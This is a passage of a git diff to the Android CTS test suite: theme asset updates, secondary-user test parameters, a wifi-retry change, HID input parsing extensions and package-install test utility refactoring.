Binary files differ
diff --git a/hostsidetests/theme/assets/29/hdpi.zip b/hostsidetests/theme/assets/29/hdpi.zip
index e1a534a..582989d 100644
--- a/hostsidetests/theme/assets/29/hdpi.zip
+++ b/hostsidetests/theme/assets/29/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/ldpi.zip b/hostsidetests/theme/assets/29/ldpi.zip
index 5475608..3035146 100644
--- a/hostsidetests/theme/assets/29/ldpi.zip
+++ b/hostsidetests/theme/assets/29/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/mdpi.zip b/hostsidetests/theme/assets/29/mdpi.zip
index 67c5c03..a831e7b 100644
--- a/hostsidetests/theme/assets/29/mdpi.zip
+++ b/hostsidetests/theme/assets/29/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/tvdpi.zip b/hostsidetests/theme/assets/29/tvdpi.zip
index 60f5afe..bd4bf75 100644
--- a/hostsidetests/theme/assets/29/tvdpi.zip
+++ b/hostsidetests/theme/assets/29/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/xhdpi.zip b/hostsidetests/theme/assets/29/xhdpi.zip
index d2895a1..0dd72e2 100644
--- a/hostsidetests/theme/assets/29/xhdpi.zip
+++ b/hostsidetests/theme/assets/29/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/xxhdpi.zip b/hostsidetests/theme/assets/29/xxhdpi.zip
index 637649a..64fc846 100644
--- a/hostsidetests/theme/assets/29/xxhdpi.zip
+++ b/hostsidetests/theme/assets/29/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/xxxhdpi.zip b/hostsidetests/theme/assets/29/xxxhdpi.zip
index 9ab19b1..87beb9a 100644
--- a/hostsidetests/theme/assets/29/xxxhdpi.zip
+++ b/hostsidetests/theme/assets/29/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index f31b081..2fcbb5b 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -295,7 +295,7 @@
private static int getDensityForDevice(ITestDevice device) throws DeviceNotAvailableException {
final String densityProp;
- if (device.getSerialNumber().startsWith("emulator-")) {
+ if (isEmulator(device)) {
densityProp = DENSITY_PROP_EMULATOR;
} else {
densityProp = DENSITY_PROP_DEVICE;
@@ -308,4 +308,9 @@
|| hardwareTypeString.contains("android.hardware.type.television")
|| hardwareTypeString.contains("android.hardware.type.automotive");
}
+
+ private static boolean isEmulator(ITestDevice device) {
+ // Expecting something like "emulator-XXXX" or "EMULATORXXXX".
+ return device.getSerialNumber().toLowerCase().startsWith("emulator");
+ }
}
diff --git a/hostsidetests/trustedvoice/AndroidTest.xml b/hostsidetests/trustedvoice/AndroidTest.xml
index c52d93a..bb5970b 100644
--- a/hostsidetests/trustedvoice/AndroidTest.xml
+++ b/hostsidetests/trustedvoice/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTrustedVoiceApp.apk" />
diff --git a/hostsidetests/trustedvoice/OWNERS b/hostsidetests/trustedvoice/OWNERS
new file mode 100644
index 0000000..f96bd04
--- /dev/null
+++ b/hostsidetests/trustedvoice/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 174421
+sharmneha@google.com
\ No newline at end of file
diff --git a/hostsidetests/tv/AndroidTest.xml b/hostsidetests/tv/AndroidTest.xml
index 96f39f3..bd883d0 100644
--- a/hostsidetests/tv/AndroidTest.xml
+++ b/hostsidetests/tv/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Instant apps for TV is not supported. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsHostsideTvTests.jar" />
<option name="runtime-hint" value="8m10s" />
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
index 09cd90f..93072e9 100644
--- a/hostsidetests/tzdata/AndroidTest.xml
+++ b/hostsidetests/tzdata/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsHostTzDataTests.jar" />
</test>
diff --git a/hostsidetests/usage/AndroidTest.xml b/hostsidetests/usage/AndroidTest.xml
index fc7f46e..5c9b845 100644
--- a/hostsidetests/usage/AndroidTest.xml
+++ b/hostsidetests/usage/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAppUsageTestApp.apk" />
diff --git a/hostsidetests/webkit/AndroidTest.xml b/hostsidetests/webkit/AndroidTest.xml
index 54a6c9a..4be85ac 100644
--- a/hostsidetests/webkit/AndroidTest.xml
+++ b/hostsidetests/webkit/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="webview" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWebViewStartupApp.apk" />
diff --git a/hostsidetests/wifibroadcasts/AndroidTest.xml b/hostsidetests/wifibroadcasts/AndroidTest.xml
index b9a0e59..8227587 100644
--- a/hostsidetests/wifibroadcasts/AndroidTest.xml
+++ b/hostsidetests/wifibroadcasts/AndroidTest.xml
@@ -25,4 +25,5 @@
</test>
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
</configuration>
diff --git a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
index e01d682..8dcc4d3 100644
--- a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
+++ b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
@@ -71,9 +71,14 @@
private static final String PROHIBITED_STRING = "UNEXPECTED WIFI BROADCAST RECEIVED";
/**
- * The maximim number of times to attempt a ping
+ * The maximum total number of times to attempt a ping.
*/
- private static final int MAXIMUM_PING_TRIES = 30;
+ private static final int MAXIMUM_PING_TRIES = 180;
+
+ /**
+ * The maximum number of times to attempt a ping before toggling wifi.
+ */
+ private static final int MAXIMUM_PING_TRIES_PER_CONNECTION = 60;
/**
* Name for wifi feature test
@@ -121,6 +126,10 @@
CommandResult pingCommandResult = null;
boolean pingSucceeded = false;
for (int tries = 0; tries < MAXIMUM_PING_TRIES; tries++) {
+ if (tries > 0 && tries % MAXIMUM_PING_TRIES_PER_CONNECTION == 0) {
+ // if we have been trying for a while, toggle wifi off and then on.
+ device.executeShellCommand("svc wifi disable; sleep 1; svc wifi enable; sleep 3");
+ }
// We don't require internet connectivity, just a configured address
pingCommandResult = device.executeShellV2Command("ping -c 4 -W 2 -t 1 8.8.8.8");
pingResult = String.join("/", pingCommandResult.getStdout(),
diff --git a/libs/deviceutillegacy/Android.bp b/libs/deviceutillegacy/Android.bp
index bbdd399..220b2ab 100644
--- a/libs/deviceutillegacy/Android.bp
+++ b/libs/deviceutillegacy/Android.bp
@@ -13,23 +13,6 @@
// limitations under the License.
java_library_static {
- name: "ctsdeviceutillegacy",
-
- static_libs: [
- "compatibility-device-util",
- "junit",
- ],
-
- libs: ["android.test.base.stubs"],
-
- srcs: ["src/**/*.java"],
-
- sdk_version: "test_current",
-
-}
-
-// A variant of ctsdeviceutillegacy that depends on androidx.test instead of android.support.test
-java_library_static {
name: "ctsdeviceutillegacy-axt",
static_libs: [
diff --git a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
index 06425c1..6e64204 100644
--- a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
+++ b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
@@ -490,9 +490,7 @@
}
public void evaluateJavascript(final String script, final ValueCallback<String> result) {
- WebkitUtils.onMainThreadSync(() -> {
- mWebView.evaluateJavascript(script, result);
- });
+ WebkitUtils.onMainThread(() -> mWebView.evaluateJavascript(script, result));
}
public void saveWebArchive(final String basename, final boolean autoname,
diff --git a/libs/input/src/com/android/cts/input/HidJsonParser.java b/libs/input/src/com/android/cts/input/HidJsonParser.java
index be5f6bf..0bc5ea0 100644
--- a/libs/input/src/com/android/cts/input/HidJsonParser.java
+++ b/libs/input/src/com/android/cts/input/HidJsonParser.java
@@ -173,15 +173,17 @@
testData.reports.add(report);
}
+ final int source = sourceFromString(testcaseEntry.optString("source"));
+
JSONArray events = testcaseEntry.getJSONArray("events");
for (int i = 0; i < events.length(); i++) {
JSONObject entry = events.getJSONObject(i);
- InputEvent event = null;
+ InputEvent event;
if (entry.has("keycode")) {
- event = parseKeyEvent(entry);
+ event = parseKeyEvent(source, entry);
} else if (entry.has("axes")) {
- event = parseMotionEvent(entry);
+ event = parseMotionEvent(source, entry);
} else {
throw new RuntimeException(
"Input event is not specified correctly. Received: " + entry);
@@ -196,13 +198,17 @@
return tests;
}
- private KeyEvent parseKeyEvent(JSONObject entry) throws JSONException {
+ private KeyEvent parseKeyEvent(int source, JSONObject entry) throws JSONException {
int action = keyActionFromString(entry.getString("action"));
int keyCode = KeyEvent.keyCodeFromString(entry.getString("keycode"));
- return new KeyEvent(action, keyCode);
+ int metaState = metaStateFromString(entry.optString("metaState"));
+ // We will only check select fields of the KeyEvent. Times are not checked.
+ return new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
+ /* repeat */ 0, metaState, /* deviceId */ 0, /* scanCode */ 0,
+ /* flags */ 0, source);
}
- private MotionEvent parseMotionEvent(JSONObject entry) throws JSONException {
+ private MotionEvent parseMotionEvent(int source, JSONObject entry) throws JSONException {
MotionEvent.PointerProperties[] properties = new MotionEvent.PointerProperties[1];
properties[0] = new MotionEvent.PointerProperties();
properties[0].id = 0;
@@ -219,15 +225,22 @@
coords[0].setAxisValue(MotionEvent.axisFromString(axis), value);
}
+ int buttonState = 0;
+ JSONArray buttons = entry.optJSONArray("buttonState");
+ if (buttons != null) {
+ for (int i = 0; i < buttons.length(); ++i) {
+ buttonState |= motionButtonFromString(buttons.getString(i));
+ }
+ }
+
int action = motionActionFromString(entry.getString("action"));
- // Only care about axes and action here. Times are not checked
- MotionEvent event = MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
- /* pointercount */ 1, properties, coords, 0, 0, 0f, 0f,
- 0, 0, InputDevice.SOURCE_JOYSTICK, 0);
- return event;
+ // Only care about axes, action and source here. Times are not checked.
+ return MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
+ /* pointercount */ 1, properties, coords, 0, buttonState, 0f, 0f,
+ 0, 0, source, 0);
}
- private int keyActionFromString(String action) {
+ private static int keyActionFromString(String action) {
switch (action.toUpperCase()) {
case "DOWN":
return KeyEvent.ACTION_DOWN;
@@ -237,7 +250,57 @@
throw new RuntimeException("Unknown action specified: " + action);
}
- private int motionActionFromString(String action) {
+ private static int metaStateFromString(String metaStateString) {
+ int metaState = 0;
+ if (metaStateString.isEmpty()) {
+ return metaState;
+ }
+ final String[] metaKeys = metaStateString.split("\\|");
+ for (final String metaKeyString : metaKeys) {
+ final String trimmedKeyString = metaKeyString.trim();
+ switch (trimmedKeyString.toUpperCase()) {
+ case "SHIFT_LEFT":
+ metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_LEFT_ON;
+ break;
+ case "SHIFT_RIGHT":
+ metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_RIGHT_ON;
+ break;
+ case "CTRL_LEFT":
+ metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON;
+ break;
+ case "CTRL_RIGHT":
+ metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_RIGHT_ON;
+ break;
+ case "ALT_LEFT":
+ metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_LEFT_ON;
+ break;
+ case "ALT_RIGHT":
+ metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_RIGHT_ON;
+ break;
+ case "META_LEFT":
+ metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_LEFT_ON;
+ break;
+ case "META_RIGHT":
+ metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_RIGHT_ON;
+ break;
+ case "CAPS_LOCK":
+ metaState |= KeyEvent.META_CAPS_LOCK_ON;
+ break;
+ case "NUM_LOCK":
+ metaState |= KeyEvent.META_NUM_LOCK_ON;
+ break;
+ case "SCROLL_LOCK":
+ metaState |= KeyEvent.META_SCROLL_LOCK_ON;
+ break;
+ default:
+ throw new RuntimeException("Unknown meta state chunk: " + trimmedKeyString
+ + " in meta state string: " + metaStateString);
+ }
+ }
+ return metaState;
+ }
+
+ private static int motionActionFromString(String action) {
switch (action.toUpperCase()) {
case "DOWN":
return MotionEvent.ACTION_DOWN;
@@ -245,7 +308,69 @@
return MotionEvent.ACTION_MOVE;
case "UP":
return MotionEvent.ACTION_UP;
+ case "BUTTON_PRESS":
+ return MotionEvent.ACTION_BUTTON_PRESS;
+ case "BUTTON_RELEASE":
+ return MotionEvent.ACTION_BUTTON_RELEASE;
+ case "HOVER_ENTER":
+ return MotionEvent.ACTION_HOVER_ENTER;
+ case "HOVER_MOVE":
+ return MotionEvent.ACTION_HOVER_MOVE;
+ case "HOVER_EXIT":
+ return MotionEvent.ACTION_HOVER_EXIT;
}
throw new RuntimeException("Unknown action specified: " + action);
}
+
+ private static int sourceFromString(String sourceString) {
+ if (sourceString.isEmpty()) {
+ return InputDevice.SOURCE_UNKNOWN;
+ }
+ int source = 0;
+ final String[] sourceEntries = sourceString.split("\\|");
+ for (final String sourceEntry : sourceEntries) {
+ final String trimmedSourceEntry = sourceEntry.trim();
+ switch (trimmedSourceEntry.toUpperCase()) {
+ case "MOUSE_RELATIVE":
+ source |= InputDevice.SOURCE_MOUSE_RELATIVE;
+ break;
+ case "JOYSTICK":
+ source |= InputDevice.SOURCE_JOYSTICK;
+ break;
+ case "KEYBOARD":
+ source |= InputDevice.SOURCE_KEYBOARD;
+ break;
+ case "GAMEPAD":
+ source |= InputDevice.SOURCE_GAMEPAD;
+ break;
+ case "DPAD":
+ source |= InputDevice.SOURCE_DPAD;
+ break;
+ default:
+ throw new RuntimeException("Unknown source chunk: " + trimmedSourceEntry
+ + " in source string: " + sourceString);
+ }
+ }
+ return source;
+ }
+
+ private static int motionButtonFromString(String button) {
+ switch (button.toUpperCase()) {
+ case "BACK":
+ return MotionEvent.BUTTON_BACK;
+ case "FORWARD":
+ return MotionEvent.BUTTON_FORWARD;
+ case "PRIMARY":
+ return MotionEvent.BUTTON_PRIMARY;
+ case "SECONDARY":
+ return MotionEvent.BUTTON_SECONDARY;
+ case "STYLUS_PRIMARY":
+ return MotionEvent.BUTTON_STYLUS_PRIMARY;
+ case "STYLUS_SECONDARY":
+ return MotionEvent.BUTTON_STYLUS_SECONDARY;
+ case "TERTIARY":
+ return MotionEvent.BUTTON_TERTIARY;
+ }
+ throw new RuntimeException("Unknown button specified: " + button);
+ }
}
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
index 5ca15ae..b989925 100644
--- a/libs/install/Android.bp
+++ b/libs/install/Android.bp
@@ -62,6 +62,14 @@
}
android_test_helper_app {
+ name: "TestAppCv1",
+ manifest: "testapp/Cv1.xml",
+ sdk_version: "current",
+ srcs: ["testapp/src/**/*.java"],
+ resource_dirs: ["testapp/res_v1"],
+}
+
+android_test_helper_app {
name: "TestAppASplitV1",
manifest: "testapp/Av1.xml",
sdk_version: "current",
@@ -87,11 +95,12 @@
java_resources: [
":TestAppAv1",
":TestAppAv2",
- ":TestAppAv3",
+ ":TestAppAv3",
":TestAppBv1",
":TestAppBv2",
- ":TestAppACrashingV2",
- ":TestAppASplitV1",
- ":TestAppASplitV2",
+ ":TestAppCv1",
+ ":TestAppACrashingV2",
+ ":TestAppASplitV1",
+ ":TestAppASplitV2",
],
}
diff --git a/libs/install/TEST_MAPPING b/libs/install/TEST_MAPPING
index abe4a1a..9d0ffe9 100644
--- a/libs/install/TEST_MAPPING
+++ b/libs/install/TEST_MAPPING
@@ -1,13 +1,7 @@
{
"imports": [
{
- "path": "cts/tests/rollback"
- },
- {
- "path": "cts/hostsidetests/rollback"
- },
- {
- "path": "cts/lib/rollback"
+ "path": "cts/tests/tests/util"
}
]
}
diff --git a/libs/install/src/com/android/cts/install/lib/Install.java b/libs/install/src/com/android/cts/install/lib/Install.java
index 4ea91a1..3d987ef 100644
--- a/libs/install/src/com/android/cts/install/lib/Install.java
+++ b/libs/install/src/com/android/cts/install/lib/Install.java
@@ -40,6 +40,7 @@
private boolean mIsDowngrade = false;
private boolean mEnableRollback = false;
private int mSessionMode = PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+ private int mInstallFlags = 0;
private Install(boolean isMultiPackage, TestApp... testApps) {
mIsMultiPackage = isMultiPackage;
@@ -124,6 +125,14 @@
}
/**
+ * Sets the session params.
+ */
+ public Install addInstallFlags(int installFlags) {
+ mInstallFlags |= installFlags;
+ return this;
+ }
+
+ /**
* Commits the install.
*
* @return the session id of the install session, if the session is successful.
@@ -131,22 +140,24 @@
*/
public int commit() throws IOException, InterruptedException {
int sessionId = createSession();
- PackageInstaller.Session session = InstallUtils.openPackageInstallerSession(sessionId);
- session.commit(LocalIntentSender.getIntentSender());
- Intent result = LocalIntentSender.getIntentSenderResult();
- int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
- PackageInstaller.STATUS_FAILURE);
- if (status == -1) {
- throw new AssertionError("PENDING USER ACTION");
- } else if (status > 0) {
- String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
- throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
- }
+ try (PackageInstaller.Session session =
+ InstallUtils.openPackageInstallerSession(sessionId)) {
+ session.commit(LocalIntentSender.getIntentSender());
+ Intent result = LocalIntentSender.getIntentSenderResult();
+ int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+ PackageInstaller.STATUS_FAILURE);
+ if (status == -1) {
+ throw new AssertionError("PENDING USER ACTION");
+ } else if (status > 0) {
+ String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
+ throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
+ }
- if (mIsStaged) {
- InstallUtils.waitForSessionReady(sessionId);
+ if (mIsStaged) {
+ InstallUtils.waitForSessionReady(sessionId);
+ }
+ return sessionId;
}
- return sessionId;
}
/**
@@ -158,14 +169,15 @@
public int createSession() throws IOException {
int sessionId;
if (isMultiPackage()) {
- PackageInstaller.Session session;
sessionId = createEmptyInstallSession(/*multiPackage*/ true, /*isApex*/false);
- session = InstallUtils.openPackageInstallerSession(sessionId);
- for (Install subInstall : mChildInstalls) {
- session.addChildSessionId(subInstall.createSession());
- }
- for (TestApp testApp : mTestApps) {
- session.addChildSessionId(createSingleInstallSession(testApp));
+ try (PackageInstaller.Session session =
+ InstallUtils.openPackageInstallerSession(sessionId)) {
+ for (Install subInstall : mChildInstalls) {
+ session.addChildSessionId(subInstall.createSession());
+ }
+ for (TestApp testApp : mTestApps) {
+ session.addChildSessionId(createSingleInstallSession(testApp));
+ }
}
} else {
assert mTestApps.length == 1;
@@ -193,6 +205,9 @@
}
params.setRequestDowngrade(mIsDowngrade);
params.setEnableRollback(mEnableRollback);
+ if (mInstallFlags != 0) {
+ InstallUtils.mutateInstallFlags(params, mInstallFlags);
+ }
return InstallUtils.getPackageInstaller().createSession(params);
}
@@ -203,28 +218,27 @@
*/
private int createSingleInstallSession(TestApp app) throws IOException {
int sessionId = createEmptyInstallSession(/*multiPackage*/false, app.isApex());
- PackageInstaller.Session session = InstallUtils.getPackageInstaller()
- .openSession(sessionId);
-
- ClassLoader loader = TestApp.class.getClassLoader();
- for (String resourceName : app.getResourceNames()) {
- try (OutputStream os = session.openWrite(resourceName, 0, -1);
- InputStream is = loader.getResourceAsStream(resourceName);) {
- if (is == null) {
- throw new IOException("Resource " + resourceName + " not found");
- }
- byte[] buffer = new byte[4096];
- int n;
- while ((n = is.read(buffer)) >= 0) {
- os.write(buffer, 0, n);
+ try (PackageInstaller.Session session =
+ InstallUtils.getPackageInstaller().openSession(sessionId)) {
+ for (String resourceName : app.getResourceNames()) {
+ try (OutputStream os = session.openWrite(resourceName, 0, -1);
+ InputStream is = app.getResourceStream(resourceName);) {
+ if (is == null) {
+ throw new IOException("Resource " + resourceName + " not found");
+ }
+ byte[] buffer = new byte[4096];
+ int n;
+ while ((n = is.read(buffer)) >= 0) {
+ os.write(buffer, 0, n);
+ }
}
}
+ return sessionId;
}
- session.close();
- return sessionId;
}
private boolean isMultiPackage() {
return mIsMultiPackage;
}
+
}
diff --git a/libs/install/src/com/android/cts/install/lib/InstallUtils.java b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
index 82e0cb1..804de2d 100644
--- a/libs/install/src/com/android/cts/install/lib/InstallUtils.java
+++ b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
@@ -32,10 +32,13 @@
import android.os.Handler;
import android.os.HandlerThread;
-
import androidx.test.InstrumentationRegistry;
+import com.google.common.annotations.VisibleForTesting;
+
import java.io.IOException;
+import java.lang.reflect.Field;
+import java.util.List;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
@@ -43,6 +46,7 @@
* Utilities to facilitate installation in tests.
*/
public class InstallUtils {
+
/**
* Adopts the given shell permissions.
*/
@@ -177,6 +181,31 @@
assertThrows(expectedThrowableClass, expectedFailMessage, () -> install.commit());
}
+ /**
+ * Mutates {@code installFlags} field of {@code params} by adding {@code
+ * additionalInstallFlags} to it.
+ */
+ @VisibleForTesting
+ public static void mutateInstallFlags(PackageInstaller.SessionParams params,
+ int additionalInstallFlags) {
+ final Class<?> clazz = params.getClass();
+ Field installFlagsField;
+ try {
+ installFlagsField = clazz.getDeclaredField("installFlags");
+ } catch (NoSuchFieldException e) {
+ throw new AssertionError("Unable to reflect over SessionParams.installFlags", e);
+ }
+
+ try {
+ int flags = installFlagsField.getInt(params);
+ flags |= additionalInstallFlags;
+ installFlagsField.setAccessible(true);
+ installFlagsField.setInt(params, flags);
+ } catch (IllegalAccessException e) {
+ throw new AssertionError("Unable to reflect over SessionParams.installFlags", e);
+ }
+ }
+
private static final String NO_RESPONSE = "NO RESPONSE";
/**
@@ -237,6 +266,34 @@
}
/**
+ * Checks whether a given package is installed for only the given user, from a list of users.
+ * @param packageName the package to check
+ * @param userIdToCheck the user id of the user to check
+ * @param userIds a list of user ids to check
+ * @return {@code true} if the package is only installed for the given user,
+ * {@code false} otherwise.
+ */
+ public static boolean isOnlyInstalledForUser(String packageName, int userIdToCheck,
+ List<Integer> userIds) {
+ Context context = InstrumentationRegistry.getContext();
+ PackageManager pm = context.getPackageManager();
+ for (int userId: userIds) {
+ List<PackageInfo> installedPackages;
+ if (userId != userIdToCheck) {
+ installedPackages = pm.getInstalledPackagesAsUser(PackageManager.MATCH_APEX,
+ userId);
+ for (PackageInfo pi : installedPackages) {
+ if (pi.packageName.equals(packageName)) {
+ return false;
+ }
+ }
+ }
+ }
+ return true;
+
+ }
+
+ /**
* A functional interface representing an operation that takes no arguments,
* returns no arguments and might throw a {@link Throwable} of any kind.
*/
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
index 95acb95..309b514 100644
--- a/libs/install/src/com/android/cts/install/lib/TestApp.java
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -18,12 +18,19 @@
import android.content.pm.VersionedPackage;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.util.function.Function;
+
/**
* Collection of dummy apps used in tests.
*/
public class TestApp {
public static final String A = "com.android.cts.install.lib.testapp.A";
public static final String B = "com.android.cts.install.lib.testapp.B";
+ public static final String C = "com.android.cts.install.lib.testapp.C";
public static final String Apex = "com.android.apex.cts.shim";
public static final String NotPreInstalledApex = "com.android.apex.cts.shim_not_pre_installed";
@@ -46,7 +53,13 @@
public static final TestApp B2 = new TestApp("Bv2", B, 2, /*isApex*/false,
"TestAppBv2.apk");
+ public static final TestApp C1 = new TestApp("Cv1", C, 1, /*isApex*/false,
+ "TestAppCv1.apk");
+
// Apex collection
+ public static final TestApp Apex1 =
+ new TestApp("Apex1", Apex, 1, /*isApex*/true,
+ "com.android.apex.cts.shim.v1.apex");
public static final TestApp Apex2 =
new TestApp("Apex2", Apex, 2, /*isApex*/true,
"com.android.apex.cts.shim.v2.apex");
@@ -65,6 +78,7 @@
private final long mVersionCode;
private final String[] mResourceNames;
private final boolean mIsApex;
+ private final Function<String, InputStream> mGetResourceStream;
public TestApp(String name, String packageName, long versionCode, boolean isApex,
String... resourceNames) {
@@ -73,6 +87,22 @@
mVersionCode = versionCode;
mResourceNames = resourceNames;
mIsApex = isApex;
+ mGetResourceStream = (res) -> TestApp.class.getClassLoader().getResourceAsStream(res);
+ }
+
+ public TestApp(String name, String packageName, long versionCode, boolean isApex, File path) {
+ mName = name;
+ mPackageName = packageName;
+ mVersionCode = versionCode;
+ mResourceNames = new String[] { path.getName() };
+ mIsApex = isApex;
+ mGetResourceStream = (res) -> {
+ try {
+ return new FileInputStream(path);
+ } catch (FileNotFoundException e) {
+ return null;
+ }
+ };
}
public String getPackageName() {
@@ -96,7 +126,14 @@
return mIsApex;
}
- String[] getResourceNames() {
+ public String[] getResourceNames() {
return mResourceNames;
}
+
+ /**
+ * Returns an InputStream for the resource name.
+ */
+ public InputStream getResourceStream(String name) {
+ return mGetResourceStream.apply(name);
+ }
}
diff --git a/libs/install/testapp/Cv1.xml b/libs/install/testapp/Cv1.xml
new file mode 100644
index 0000000..edb69f9
--- /dev/null
+++ b/libs/install/testapp/Cv1.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.install.lib.testapp.C"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+
+ <uses-sdk android:minSdkVersion="19" />
+
+ <application android:label="Test App C1">
+ <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+ android:exported="true" />
+ <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
index 842a674..359e03f 100644
--- a/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
+++ b/libs/install/testapp/src/com/android/cts/install/lib/testapp/ProcessUserData.java
@@ -20,6 +20,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
+import android.os.Process;
import java.io.File;
import java.io.FileNotFoundException;
@@ -29,7 +30,7 @@
/**
* A broadcast receiver to check for and update user app data version
- * compatibility.
+ * and user handle compatibility.
*/
public class ProcessUserData extends BroadcastReceiver {
@@ -58,7 +59,8 @@
}
/**
- * Update the app's user data version to match the app version.
+ * Update the app's user data version to match the app version, and confirm
+ * the user data is for the correct user.
*
* @param context The application context.
* @throws UserDataException in case of problems with app user data.
@@ -67,6 +69,8 @@
Resources res = context.getResources();
String packageName = context.getPackageName();
